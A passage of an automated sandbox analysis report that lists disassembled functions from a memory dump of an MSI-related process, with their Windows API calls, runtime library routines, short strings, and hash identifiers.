Instruction ID: bbde7faf8f2b50895b582059782627b9e219ab894cc5aa1aabe033f60ccf9e81
Opcode Fuzzy Hash: 7aa712466cfd02a724a4a7d6394ad2c3b521682f0c5bfafeda5a2280698c3b25
Instruction Fuzzy Hash: E6018C35A45220DBC708AF58FD08AAD7BA4FB09701B11406AF90293320CF746D01DBD4

Function 00AD6090 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 97libraryCOMMON

Download Yara Rule

APIs

GetSystemDirectoryW.KERNEL32(?,00000105), ref: 00AD60F4
GetLastError.KERNEL32 ref: 00AD6190

Part of subcall function 00AD1FC0: FindResourceW.KERNEL32(00000000,?,00000006,?,00000000,00B1938D,000000FF,?,80070057,?,?,00000000,00000010,00AD1B09,?), ref: 00AD2040

LoadLibraryExW.KERNEL32(?,00000000,00000000,00000009,00B2B2DC,00000001,00000000), ref: 00AD614E

Strings

ntdll.dll, xrefs: 00AD6126

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: DirectoryErrorFindLastLibraryLoadResourceSystem
String ID: ntdll.dll
API String ID: 4113295189-2227199552
Opcode ID: cfb371267356570601def1ad1de400bd8ed51306576288f900a0a97a02ba878b
Instruction ID: c5caa92878494fae4e45350ce1f5f073d547da016b1071456044b738288adf96
Opcode Fuzzy Hash: cfb371267356570601def1ad1de400bd8ed51306576288f900a0a97a02ba878b
Instruction Fuzzy Hash: 60319D71A00608DBD720DF68DD44BAEB7F4BB54710F14861EF42AD72D1EBB4A904CB90

Function 00AED2C2 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AED2C9

Part of subcall function 00AE6FF9: _Maklocstr.LIBCPMT ref: 00AE7019
Part of subcall function 00AE6FF9: _Maklocstr.LIBCPMT ref: 00AE7036
Part of subcall function 00AE6FF9: _Maklocstr.LIBCPMT ref: 00AE7053
Part of subcall function 00AE6FF9: _Maklocchr.LIBCPMT ref: 00AE7065
Part of subcall function 00AE6FF9: _Maklocchr.LIBCPMT ref: 00AE7078

_Mpunct.LIBCPMT ref: 00AED356
_Mpunct.LIBCPMT ref: 00AED370

Strings

$+xv, xrefs: 00AED37B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Maklocstr$MaklocchrMpunct$H_prolog3
String ID: $+xv
API String ID: 2939335142-1686923651
Opcode ID: 8828b97f2e43bd17667a843745fd77dd7a46e6bbe44dad1d579d59f996f484a0
Instruction ID: 43e4da4f886da0cfa18ec887643dba9e3161de1d758dbe6baa3814ad2cb0be7b
Opcode Fuzzy Hash: 8828b97f2e43bd17667a843745fd77dd7a46e6bbe44dad1d579d59f996f484a0
Instruction Fuzzy Hash: 0221A1B1904B926FDB25DF75C89077BBEF8AB0D300F044A5AE199C7A42D734E601CB90

Function 00AF4DF4 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF4DFB
_Mpunct.LIBCPMT ref: 00AF4E88
_Mpunct.LIBCPMT ref: 00AF4EA2

Strings

$+xv, xrefs: 00AF4EAD

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Mpunct$H_prolog3
String ID: $+xv
API String ID: 4281374311-1686923651
Opcode ID: c6ff1963ac976079a106a3133f4a39fd7807618770b8e172dc2f4cc24bd4a3aa
Instruction ID: 4a57d176512c344700c5579bf193d6a42d1ee55697fefcd8da92a1289649b545
Opcode Fuzzy Hash: c6ff1963ac976079a106a3133f4a39fd7807618770b8e172dc2f4cc24bd4a3aa
Instruction Fuzzy Hash: 322181B1904A966EDB25DFB5C4907BBBEF8BB0D700F04495AB159C7A41D734E601CB90

Function 00AFC012 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00AFBFC3,00000000,?,00B34EA4,?,?,?,00AFC166,00000004,InitializeCriticalSectionEx,00B1F92C,InitializeCriticalSectionEx), ref: 00AFC01F
GetLastError.KERNEL32(?,00AFBFC3,00000000,?,00B34EA4,?,?,?,00AFC166,00000004,InitializeCriticalSectionEx,00B1F92C,InitializeCriticalSectionEx,00000000,?,00AFBF1D), ref: 00AFC029
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00AFC051

Strings

api-ms-, xrefs: 00AFC036

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 0de2dac4c95b2f3a5be0c12e73f5999199c53ef7ce1b12840a119bd4a9ac97bf
Instruction ID: a817c40686221c83e2d65c0145dd3408d44c53d6648c5fc4a411d9d34cb9660a
Opcode Fuzzy Hash: 0de2dac4c95b2f3a5be0c12e73f5999199c53ef7ce1b12840a119bd4a9ac97bf
Instruction Fuzzy Hash: 97E0123064020CF7DF201BA1ED0ABA93B659B04B61F604420FA0CE50E0DF61E95295C4

Function 00ADE350 Relevance: 6.4, APIs: 4, Instructions: 426COMMON

Download Yara Rule

APIs

_strcspn.LIBCMT ref: 00ADE3F0
_strcspn.LIBCMT ref: 00ADE412
LocalFree.KERNEL32(?), ref: 00ADE77B
LocalFree.KERNEL32(?), ref: 00ADE7C3

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: FreeLocal_strcspn
String ID:
API String ID: 2585785616-0
Opcode ID: b267cb14784408047c6643dde9b75911f4b447b8fd61c6bc8f75a0b788ffd232
Instruction ID: d82387f53404195a8e29d1a3252c2dca2daf6bd6d4a5c0a553df3107d90cb81d
Opcode Fuzzy Hash: b267cb14784408047c6643dde9b75911f4b447b8fd61c6bc8f75a0b788ffd232
Instruction Fuzzy Hash: A9F12575A002499FDF14DFA8C984AEEBBF6FF48304F14416AE816AB351D731EA45CB90

Function 00B1738B Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(6E9B59AC,?,00000000,?), ref: 00B173EE

Part of subcall function 00B1002B: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00B0C527,?,00000000,-00000008), ref: 00B100D7

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00B17649
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00B17691
GetLastError.KERNEL32 ref: 00B17734

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f74626d61def07980e07611611668e62bef2af0ba7d5414a338838c04a4ce89c
Instruction ID: f9dd7e26b69d1d2a7952482b8fdbb258e7f77c9e0e9e75df94912a2273119852
Opcode Fuzzy Hash: f74626d61def07980e07611611668e62bef2af0ba7d5414a338838c04a4ce89c
Instruction Fuzzy Hash: 8DD16BB5E046489FCB15CFA8D8809EDBBF5FF48300F6445AAE855E7391DB30A982CB50

Function 00AE8872 Relevance: 6.3, APIs: 4, Instructions: 313COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AE8879
_strcspn.LIBCMT ref: 00AE88E4
_strcspn.LIBCMT ref: 00AE8904
ctype.LIBCPMT ref: 00AE8974

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: 84cfdaf71f004bf55877096ba50f24075ff529ee2cd537e0f7cfaa9bbd42d0f3
Instruction ID: 454febaf46d237a90a67da655e315c049bf82c23a89c6fb6228f9f8a9aa526ce
Opcode Fuzzy Hash: 84cfdaf71f004bf55877096ba50f24075ff529ee2cd537e0f7cfaa9bbd42d0f3
Instruction Fuzzy Hash: B7C16C71D00289DFDF14DF99C9819EEBBB9FF48310F14406AE809AB251DB34AE45CBA1

Function 00AE2A16 Relevance: 6.3, APIs: 4, Instructions: 310COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00AE2A1D
_strcspn.LIBCMT ref: 00AE2A88
_strcspn.LIBCMT ref: 00AE2AA8
ctype.LIBCPMT ref: 00AE2B18

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: _strcspn$H_prolog3_ctype
String ID:
API String ID: 838279627-0
Opcode ID: f87b4940bb87bdc80d2df141f57534d119983bc44ea933acb4487deba7bf6bad
Instruction ID: c2d4fe9fd8be8446f848f097b3c656681d86b3ee22cccc8abe423af6e17f1595
Opcode Fuzzy Hash: f87b4940bb87bdc80d2df141f57534d119983bc44ea933acb4487deba7bf6bad
Instruction Fuzzy Hash: 8EC16D71D002899FDF15DFE5C981AEEBBB9FF48310F24442AE405AB251D734AE45CBA1

Function 00AF4F20 Relevance: 6.3, APIs: 4, Instructions: 277COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AF4F27
collate.LIBCPMT ref: 00AF4F33

Part of subcall function 00AF3E70: __EH_prolog3_GS.LIBCMT ref: 00AF3E77
Part of subcall function 00AF3E70: __Getcoll.LIBCPMT ref: 00AF3EDB

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

__Getcoll.LIBCPMT ref: 00AF4F76

Part of subcall function 00AF3CD4: __EH_prolog3.LIBCMT ref: 00AF3CDB
Part of subcall function 00AF3CD4: std::_Lockit::_Lockit.LIBCPMT ref: 00AF3CE5
Part of subcall function 00AF3CD4: std::_Lockit::~_Lockit.LIBCPMT ref: 00AF3D56

Part of subcall function 00AE4403: __EH_prolog3.LIBCMT ref: 00AE440A
Part of subcall function 00AE4403: std::_Lockit::_Lockit.LIBCPMT ref: 00AE4414
Part of subcall function 00AE4403: std::_Lockit::~_Lockit.LIBCPMT ref: 00AE44BB

numpunct.LIBCPMT ref: 00AF51A6

Part of subcall function 00AD84C0: LocalAlloc.KERNEL32(00000040,00000000,00AF839D,00000000,6E9B59AC,?,00000000,?,00000000,?,00B1CB8D,000000FF,?,00AD17D5,00000000,00B1D3BA), ref: 00AD84C6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_$Getcoll$AllocH_prolog3_Localcollatenumpunct
String ID:
API String ID: 2732324234-0
Opcode ID: 9b1ef92797df96bf9c5e7e6bd354bda78fb5001f0ea0a8e9ac92a2c8f21ff20c
Instruction ID: 9f3284cfb4074da907ceda5d41af8482705bae4e271cea729335ea7b2e45c8f7
Opcode Fuzzy Hash: 9b1ef92797df96bf9c5e7e6bd354bda78fb5001f0ea0a8e9ac92a2c8f21ff20c
Instruction Fuzzy Hash: 1791C7B2D00619ABDB20ABF58902B7F7EF8EF45760F11451EFA5997281EF74890087E1

Function 00AFAFD5 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00AFB09C
___AdjustPointer.LIBCMT ref: 00AFB0BF
___AdjustPointer.LIBCMT ref: 00AFB15B

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 5979f58842caa2f3ca8cd6303c8b6bdd40d460da531e132d3ce13c70248eabb0
Instruction ID: 6298386e09d40a594d6f9ccc5e49e64b2505be7b141527de4790f445afa952e4
Opcode Fuzzy Hash: 5979f58842caa2f3ca8cd6303c8b6bdd40d460da531e132d3ce13c70248eabb0
Instruction Fuzzy Hash: 5D51B07661020EAFDB299F94D951BBBB7B4EF04350F244529FE1287291EB35EC40CBA4

Function 00B07B18 Relevance: 6.1, APIs: 4, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e055b3f79dad6f80d373905f4b5e91da1416ae164075e513f5ec08e3d8ecd617
Instruction ID: 6fe80d4ce3420cf5807e0c29617e645468da365a60513977e8b1a3b4a9d3808c
Opcode Fuzzy Hash: e055b3f79dad6f80d373905f4b5e91da1416ae164075e513f5ec08e3d8ecd617
Instruction Fuzzy Hash: C0216F71A48209BFDB20AF718D91D6ABBE9EF4036471089A5FA15D7291EF31FC5087A0

Function 00AD9020 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 77COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00000000,00000000,75EF5490,00AD8B3A,00000000,?,?,?,?,?,?,?,00000000,00B1A285,000000FF), ref: 00AD9027

Strings

Call to ShellExecute() for verb<, xrefs: 00AD9031
Last error=, xrefs: 00AD9081
> returned:, xrefs: 00AD9036

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: ErrorLast
String ID: > returned:$Call to ShellExecute() for verb<$Last error=
API String ID: 1452528299-1781106413
Opcode ID: 854aa65223e2f1157a8dc50b1c6699f64f28fa761c5d440f7878d2a491e3cd21
Instruction ID: f49de6ff9c7e71edb073ef63b18e0b9d952788d3abfe249c0c436d1f08c41bee
Opcode Fuzzy Hash: 854aa65223e2f1157a8dc50b1c6699f64f28fa761c5d440f7878d2a491e3cd21
Instruction Fuzzy Hash: 59217949A2026186CB301F28A41173AB2F0AF64755F28446FE8CADB394EE69CC82C391

Function 00AE4403 Relevance: 6.1, APIs: 4, Instructions: 72COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE440A
std::_Lockit::_Lockit.LIBCPMT ref: 00AE4414
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE44BB
Concurrency::cancel_current_task.LIBCPMT ref: 00AE44C6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: Lockitstd::_$Concurrency::cancel_current_taskH_prolog3Lockit::_Lockit::~_
String ID:
API String ID: 4244582100-0
Opcode ID: b78170012a81fa39c79d76983dd328f5ad6dbcd09836111ac8e23e1107ab38d9
Instruction ID: 29cc922d6895450b7fdb7538d9f519d2966d27a66c1b6ab2126c053575aa1b1f
Opcode Fuzzy Hash: b78170012a81fa39c79d76983dd328f5ad6dbcd09836111ac8e23e1107ab38d9
Instruction Fuzzy Hash: 81213935A00A169FDB04EF25C891AADB7B5FF49710F008559E9269B7E1DF30ED50CB80

Function 00AE1400 Relevance: 6.1, APIs: 4, Instructions: 65fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000004,00000080,00000000,6E9B59AC), ref: 00AE143C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00AE145C
WriteFile.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00AE148D
CloseHandle.KERNEL32(00000000,?,?,?,00000000,?,40000000,00000001,00000000,00000004,00000080,00000000), ref: 00AE14A6

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: File$CloseCreateHandlePointerWrite
String ID:
API String ID: 3604237281-0
Opcode ID: 0b5c28edc6fb9991b90a07768a99b2ed98f34a2a86077f21a1a0ea87e5142e89
Instruction ID: 11c7b48899e98e5bcde0d1993f494a72c065ab7fbe1f1574cb911e9d66e1e6df
Opcode Fuzzy Hash: 0b5c28edc6fb9991b90a07768a99b2ed98f34a2a86077f21a1a0ea87e5142e89
Instruction Fuzzy Hash: 1321B1B1940314ABD7208F54DC09F9ABBF8EB09B24F204259F504A72D0DBB45A05C794

Function 00AE80C5 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE80CC
std::_Lockit::_Lockit.LIBCPMT ref: 00AE80D6

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE8127
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE8147

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 32ba888eb57a0f23f0118058bfc591b696391c54707d38737355e36ed2168e16
Instruction ID: 6121ec917bd9ed4ae44f44bfe595d2311756ca6069fe03fc68ffd5be67615048
Opcode Fuzzy Hash: 32ba888eb57a0f23f0118058bfc591b696391c54707d38737355e36ed2168e16
Instruction Fuzzy Hash: A301F571D00299DBCF00EBA4DA456BE77B1AF80710F250549F5256B3D2DF38AE02CB90

Function 00AE81EF Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE81F6
std::_Lockit::_Lockit.LIBCPMT ref: 00AE8200

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE8251
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE8271

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: d277e94177c33c6d4b787dd5b3df41d02466fe9a687bb8b5efa41f79a20293a8
Instruction ID: f468dbe1bcc063f6b0a4ca7d19c1f7d8e74adbf8d5ce257a11fd53ab65a3769d
Opcode Fuzzy Hash: d277e94177c33c6d4b787dd5b3df41d02466fe9a687bb8b5efa41f79a20293a8
Instruction Fuzzy Hash: C9012E36C00A59CBCB00EBA4DA056FEB7B1BF80310F24000AF9216B391CF38AE01CB90

Function 00AE815A Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE8161
std::_Lockit::_Lockit.LIBCPMT ref: 00AE816B

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
Part of subcall function 00ADBCE0: std::_Lockit::~_Lockit.LIBCPMT ref: 00ADBD38

std::_Facet_Register.LIBCPMT ref: 00AE81BC
std::_Lockit::~_Lockit.LIBCPMT ref: 00AE81DC

Memory Dump Source

Source File: 00000009.00000002.1736325304.0000000000AD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00AD0000, based on PE: true

Associated: 00000009.00000002.1736180154.0000000000AD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736493855.0000000000B1D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736547625.0000000000B33000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.1736774487.0000000000B37000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_ad0000_MSI7F24.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_H_prolog3Register
String ID:
API String ID: 2854358121-0
Opcode ID: 184858115268085a9c33c3dece897bb34ab5a072262e0dc473f84c4625d43c88
Instruction ID: b781f0d5b44841efeeb02f16949d0d8002e463cda232b665dbaecbcf736afbec
Opcode Fuzzy Hash: 184858115268085a9c33c3dece897bb34ab5a072262e0dc473f84c4625d43c88
Instruction Fuzzy Hash: 9F01F535D10659DBCB00EBA4D9456BE77B1AF84320F25060AF8156B3D1CF38AE02CB90

Function 00AE26F9 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00AE2700
std::_Lockit::_Lockit.LIBCPMT ref: 00AE270A

Part of subcall function 00ADBCE0: std::_Lockit::_Lockit.LIBCPMT ref: 00ADBD10
